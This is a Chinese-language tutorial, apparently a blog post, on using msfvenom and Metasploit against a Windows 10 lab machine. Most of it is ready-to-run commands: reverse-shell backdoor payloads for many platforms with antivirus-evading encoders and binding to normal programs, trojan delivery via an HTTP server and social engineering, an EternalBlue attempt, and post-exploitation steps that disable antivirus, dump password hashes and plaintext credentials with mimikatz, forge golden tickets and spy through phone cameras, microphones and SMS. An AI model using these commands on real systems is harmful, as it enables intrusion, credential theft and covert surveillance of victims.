Kali中的 msfvenom 取代了msfpayload和msfencode,常用于生成后门木马
msfpayload是MSF攻击荷载生成器,用于生成shellcode和可执行代码;msfencode是MSF编码器。
msfvenom常用参数
-h 查看所有命令参数
-l
列出指定模块的所有可用资源,模块类型包括: payloads,encoders, nops, all
-p
指定需要使用的payload(攻击荷载)。
-f
指定输出格式
Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smalhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;
Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js be、js-le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;
-e
指定需要使用的encoder(编码器)编码免杀;
-a
指定payload的目标架构
选择架构平台:x86|x64|x86_64
Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsdfreebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
-o
保存payload文件输出。
-b
设定规避字符集,比如:“x00\xff’避免使用的字符
-n
为payload预先指定一个NOP滑动长度
-s
设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。
-i
指定payload的编码次数
-c
指定一个附加的win32 shellcode文件
-x
指定一个自定义的可执行文件作为模板
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面
-k
保护模板程序的动作,注入的payload作为一个新的进程运行
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面
-v
指定一个自定义的变量,以确定输出格式
各平台生成payload命令
Windows
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端囗 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe
我向其他的电脑发起攻击,那我的电脑就是攻击机
生成的payload.exe是有后门的程序
Mac
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f macho -o payload.macho
例子:msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe
一个更简单的命令:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.1 lport=4444 -f exe>shell.exe
Android
//需要签名
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端囗 -f apk -o payload.apk
Powershel
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端囗 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
Linux
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf
php
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php|pbcopy && echo'shell.php && pbpaste >> shell.php
aspx
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx
JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端囗 -f raw -o payload.jsp
war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端囗 -f raw -o payload.war
nodejs
msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端囗 -f raw -o payload.js
python
msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.py
perl
msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端囗 -f raw -o payload.pl
ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端□ -f raw -o payload.rb
lua
msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端囗 -f raw -o payload.lua
windows shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
linux shellcode
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口-f c
mac shellcode
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
msfvenom漏洞利用流程
漏洞利用分为 前期交互 情报搜集 威胁建模 漏洞分析 渗透利用 后渗透利用 报告阶段 这几个阶段
1、前期交互阶段
与客户组织进行交互讨论,确定范围,目标等
这个阶段大家可以理解为情报收集前阶段,主要是为了找到目标 确认范围
2、情报搜集阶段:
获取更多目标组织信息
- 主机探测与端口扫描 如-Nmap
- 服务扫描 利用metasploit中的auxiliary/scanner/中的服务扫描模块,可以对靶机中的服务版本等信息进行扫描
- 网络漏洞扫描 OpenVAS、Nessus等
- 其他工具扫描 py脚本扫描
3、威胁建模阶段:
理清头绪,确定出最可行的漏洞利用通道,这个建模阶段后的文档不是给自己看的 是给整个团队看的 方便多人合作
比如网站产品,分1、xss sql注入方向,2、ssh爆破方向,3、漏洞利用方向(1、扫描,2、查找可用漏洞,3、配置可用漏洞,4、实施利用,5、总结报告)
这个阶段主要是根据收集到的情报进行整理,理清漏洞利用思路。
4、漏洞分析阶段
搜索可获取的渗透代码资源
这个阶段主要挑选匹配可能存在的漏洞利用模块,shellcode
5、渗透利用阶段:
找出安全漏洞,入侵系统
这个阶段尝试利用漏洞 ,配置监控,开始漏洞利用
6、后渗透利用阶段
Meterpreter,实施操作
这个阶段 就开始实施相关数据下载 后门维持 提权等操作
7、报告阶段:
漏洞利用渗透测试报告(详细报告编写看 渗透测试报告课程)
这个阶段主要是对本次渗透进行总结,概述总体上包括 时间、人员、漏洞利用范围、技术手段等等。我们需要在这部分确定漏洞利用执行的时间范围、参与漏洞利用的人员及联系方式、约定的漏洞利用范围和一些漏洞利用过程中采用的技术、工具描述。写清 前期交互 情报搜集 威胁建模 漏洞分析渗透利用 后渗透利用 漏洞利用结果 安全建议 等内容
在撰写的过程中,需要特别注意的是:漏洞描述切忌不可过于简单,一笔带过;在安全建议部分避免提出没有实际意义的安全建议,比如加强安全意识;报告结构混乱不堪,太多复杂的专业术语,比如绕狗、x站等等;
实操(栗子)
主机范围和目标已确定
1、情报搜集
基于msf发现内网存活主机
search 搜索
kali的msf终端内输入:
search scanner type:auxiliary
主要用的,可用于发现主机的模块
auxiliary/scanner/discovery/arp_sweep #基于ARP发现内网存活主机
use auxiliary/scanner/discovery/arp_sweep
options
查看需要配置什么参数,显示yes的就是必填的,前面如果没有默认值就需要手动传参
需要配置一些参数:
set rhosts 192.168.0.0/24
run
进行扫描,等待结果
kali是192.168.0.x,win10是192.168.0.y
auxiliary/scanner/discovery/udp_sweep# 基于UDP发现内网存活主机
auxiliary/scanner/ftp/ftp_version # 发现FTP服务
use auxiliary/scanner/ftp/ftp_version
options
set rhosts 192.168.0.178
run
有ftp的服务,就可以根据ftp漏洞进行利用,http服务同理
auxiliary/scanner/http/http_version # 发现HTTP服务
auxiliary/scanner/smb/smb_version # 基于smb发现内网存活主机
得到信息是运行的SMB版本,就可以找相关的漏洞利用
扫描出来445端口,可以利用永恒之蓝漏洞
看一下有没有永恒之蓝漏洞:
search ms17_010
可以搜出来两个利用模块和两个辅助模块
其中一个是auxiliary/scanner/smb/smb_ms17_010
一样的,利用use auxiliary/scanner/smb/smb_ms17_010
options 发现只需要设置一个扫描范围,可以设置整个网段/主机范围/主机数量/单个主机
set rhosts win10的ip地址
run
结果并没有绿色的+号,复现不了
永恒之蓝:复现不了
use exploit/windows/smb/ms17_010_eternalblue
options查看需要设置什么参数,一般是rhosts,如果lhosts没有,需要手动设置成kali的IP地址
如果端口被占用,可以设置set lp 4445
设置rhost
结果并没有绿色的+号,复现不了啊啊啊啊啊
通过种植木马的方式渗透进去:就是上面的msfvenom,然后根据社会工程学把这个木马放进去(新开一个终端)
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.0 LPORT=4446 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 10 -f exe -o payload.exe
python3版本修改python -m SimpleHTTPServer 80命令为:
python -m http.server 80
开启之后,win10,在浏览器输入kali的IP地址,然后点击下载对应的木马文件
回到kali的msf里面
打开一个监控模块
use exploit/multi/handler
options
需要设置rhosts,修改端口为4446,需要和生成木马的那个端口一样
set lhost kali的IP地址
# 配置攻击载荷:
set payload windows/meterpreter/reverse_tcp (payload后面的部分跟生成木马命令的部分是一样的)
然后输入run,监控开启了,等待被攻击方的木马执行
win10执行木马文件
在kali端就显示对应的文件。进入后渗透阶段,
基于netbios发现内网存活主机
基于snmap发现内网存活主机
基于ICMP发现内网存活主机
5、后渗透阶段Meterpreter
Meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后会返回一个由我们控制的通道,可用于远程执行命令!
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要了解下。
二、Meterpreter中常用的反弹类型
1.reverse_tcp
这是一个基于TCP的反向链接反弹shell,使用起来很稳定
三、Meterpreter的常用命令
1.基本命令
help # 查看Meterpreter帮助
background #返回,把meterpreter后台挂起,返回的话用sessions -i 【session的id】
bgkill # 杀死一个后台 meterpreter 脚本
bglist #提供所有正在运行的后台脚本的列表
bgrun #作为一个后台线程运行脚本
channel #显示活动频道
sessions -i number #与会话进行交互,number表示第n个session,使用session -i连接到指定序号的meterpreter会话已继续利用
sesssions -k number #与会话进行交互
close # 关闭通道
exit # 终止 meterpreter 会话
quit # 终止 meterpreter 会话
interact id #切换进一个信道
run #执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp scanner,multi_meter_inject等
use #加载 meterpreter 的扩展
load/use #加载模块
Resource #执行一个已有的rc脚本
2、常用命令
2.1 针对安卓手机的一些命令
获取手机通讯录: dump_contacts
获取短信记录:dump_sms
控制实验手机发短信:send_sms -d15330252525 -t “hello”
获取实验手机GPS定位信息:geolocate
获取实验手机Wi-Fi定位信息:wlan_geolocate
控制实验手机录音:record_mic -d 5
获取实验手机相机设备:webcam_list
控制实验手机拍照:webcam_snap
直播实验手机摄像头:webcam_stream
2.2 针对Windows的一些命令(栗子里面kali可以对win10做的操作)
查看进程:ps
查看当前进程号:getpid
查看系统信息:sysinfo
查看目标机是否为虚拟机:run post/windows/gather/checkvm
查看完整网络设置:route
查看当前权限:getuid
自动提权:getsystem
关闭杀毒软件:run post/windows/manage/killav
启动远程桌面协议:run post/windows/manage/enable_rdp 在win10的属性,远程里面就会发现变成了允许开启远程桌面
列举当前登录的用户:run post/windows/gather/enum_logged_on_users
查看当前应用程序:run post/windows/gather/enum_applications
抓取目标机的屏幕截图:第一步:load espia; 第二步:screengrab
抓取摄像头的照片:webcam_snap
查看当前处于目标机的那个目录:pwd
查看当前目录:getlwd
导出当前用户密码哈希 run hashdump
用户名:SID: LM哈希:NTLM哈希::
也可以使用下面这个命令导出 权限更高 run windows/gather/smart_hashdump
抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin
直接获取明文密码(注意这个功能需要获取系统权限 获取系统权限需要输入getsystem)
首选终端输入load kiwi 加载kiwi
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
Isa_dump_sam:dump出lsa的SAM
lsa_dump_secrets: dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
所有windows下命令行的命令都可以输入进行操作,或者输入shell,相当于win本机进行命令行操作
问题合集
1、虚拟机win10和宿主机之间无法ping通,kali也无法ping通虚拟机win10
解决方法:
win10做以下设置:
控制面板->系统和安全->Windows Defender防火墙->高级设置->入站规则,滑到靠近最后面,找到文件和打印机共享(回显请求 - ICMPv4-In)、文件和打印机共享(回显请求 - ICMPv4-In)这两个规则,右键进行启用,重新ping就能ping通了
2、使用auxiliary/scanner/smb/smb_version扫描不出来445端口,win10关掉防火墙就好了
3、能ping通,防火墙也关闭了,能扫描出来ms17_010,但是admin/smb/ms17_010_command,run的时候,运行出来的结果没有绿色的+,不知道是不是这个win10镜像把漏洞补上了,但是确实能进入meterpreter
本博文仅用于个人学习参考,请勿做其他用途,遵守国家法律法规,谢谢~~